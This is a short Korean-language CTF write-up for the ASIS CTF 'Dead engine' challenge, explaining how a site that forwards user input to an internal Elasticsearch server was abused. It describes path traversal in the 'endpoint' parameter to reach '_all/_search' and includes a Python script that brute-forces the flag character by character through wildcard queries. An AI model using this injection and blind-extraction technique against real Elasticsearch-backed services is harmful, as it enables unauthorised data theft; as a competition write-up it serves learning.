[ASIS CTF] Elasticsearch NoSQL Injection

요약

ASIS CTF에 출제됐던 Dead engine이란 문제다.
Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection으로 플래그를 얻는 문제였다.
Elasticsearch는 처음이라 열심히 검색하면서 풀었다. 복습 겸 간단히 풀이만 적어본다.

풀이

우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다.

q : abcd
endpoint : /articles/_search
내부 요청 : http://localhost:9300/articles/_search?q=abcd

위와 같이 http://localhost:9300{endpoint}?q={q} 이런식으로 입력이 들어간다.
endpoint 파라미터를 조작하면 내 마음대로 검색 옵션을 설정하거나 다른 테이블에 접근이 가능했다.
Elasticsearch 관련 글을 읽다보니 _all/_search에서 검색하면 특정 테이블명을 모르더라도 모든 테이블을 대상으로 검색할 수 있다고 한다.

나는 endpoint_all/_search로 설정한 뒤, q에서는 와일드카드로 플래그 길이를 맞춘 다음
Flag Is Here, Grab it :) 메세지의 출력 여부에 따라 True, False로 구분해 플래그를 얻었다.

풀이 코드

import requests
# ASIS 2019 : Dead engine

if __name__ == '__main__' :
    url = 'http://192.241.183.207/index.php?action'
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'

    flag = '|'.join('?' * 32).split('|') # flag length is 32

    for x in range(32) :
        for y in 'abcdef0123456789' :
            flag[x] = y
            result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
            if 'Flag Is Here, Grab it :)' in result :
                break
            print('ASIS{' + ''.join(flag) + '}')

    print('----------------------')
    print("flag : ASIS{" + ''.join(flag) + '}')